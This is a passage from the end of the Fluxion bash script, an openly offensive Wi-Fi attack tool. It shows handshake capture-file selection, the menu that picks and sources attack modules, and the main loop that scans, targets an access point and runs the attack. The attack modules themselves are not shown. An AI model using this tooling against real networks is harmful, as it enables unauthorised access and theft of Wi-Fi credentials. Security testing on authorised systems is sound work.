-s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
echo
view_target_ap_info
echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
echo -ne "${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
if [ ! $FLUXIONAuto ];then
read APTargetHashPathConsidered
fi
if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then
APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
check_hash
# If the user decides to go back, we must unset.
if [ $? -ne 0 ]; then unset_hash; return 1; fi
fi
fi
# If the hash was not found, or if it was skipped,
# ask for location or for gathering one.
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery"
echo
view_target_ap_info
local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
case "$IOQueryChoice" in
"$FLUXIONHashSourcePathOption") set_hash_path; check_hash;;
"$FLUXIONHashSourceRescanOption") set_hash;; # Rescan checks hash automatically.
"$FLUXIONGeneralBackOption" ) unset_hash; return 1;;
esac
# This conditional is required for return values
# of operation performed in the case statement.
if [ $? -ne 0 ]; then unset_hash; return 1; fi
done
# Copy to workspace for hash-required operations.
cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap"
}
###################################### < Attack > ######################################
function unset_attack() {
if [ "$FLUXIONAttack" ]
then unprep_attack
fi
FLUXIONAttack=""
}
# Select attack strategie that will be used
function set_attack() {
if [ "$FLUXIONAttack" ]; then return 0; fi
unset_attack
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
echo
view_target_ap_info
local attacks=(attacks/* "$FLUXIONGeneralBackOption")
attacks=("${attacks[@]/attacks\//}")
attacks=("${attacks[@]/.sh/}")
io_query_choice "" attacks[@]
if [ "$IOQueryChoice" = "$FLUXIONGeneralBackOption" ]; then
unset_target_ap
unset_attack
return 1
fi
FLUXIONAttack=$IOQueryChoice
source "attacks/$FLUXIONAttack/attack.sh"
prep_attack
if [ $? -ne 0 ]; then
unset_attack
return 1
fi
}
# Attack
function run_attack() {
start_attack
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@]
# IOQueryChoice is a global, meaning, its value is volatile.
# We need to make sure to save the choice before it changes.
local choice="$IOQueryChoice"
stop_attack
if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then exitmode; fi
unset_attack
}
################################### < FLUXION Loop > ###################################
check_dependencies
set_resolution
set_language
while true; do
set_interface; if [ $? -ne 0 ]; then continue; fi
set_scanner; if [ $? -ne 0 ]; then continue; fi
set_target_ap; if [ $? -ne 0 ]; then continue; fi
set_attack; if [ $? -ne 0 ]; then continue; fi
run_attack; if [ $? -ne 0 ]; then continue; fi
done
# FLUXSCRIPT END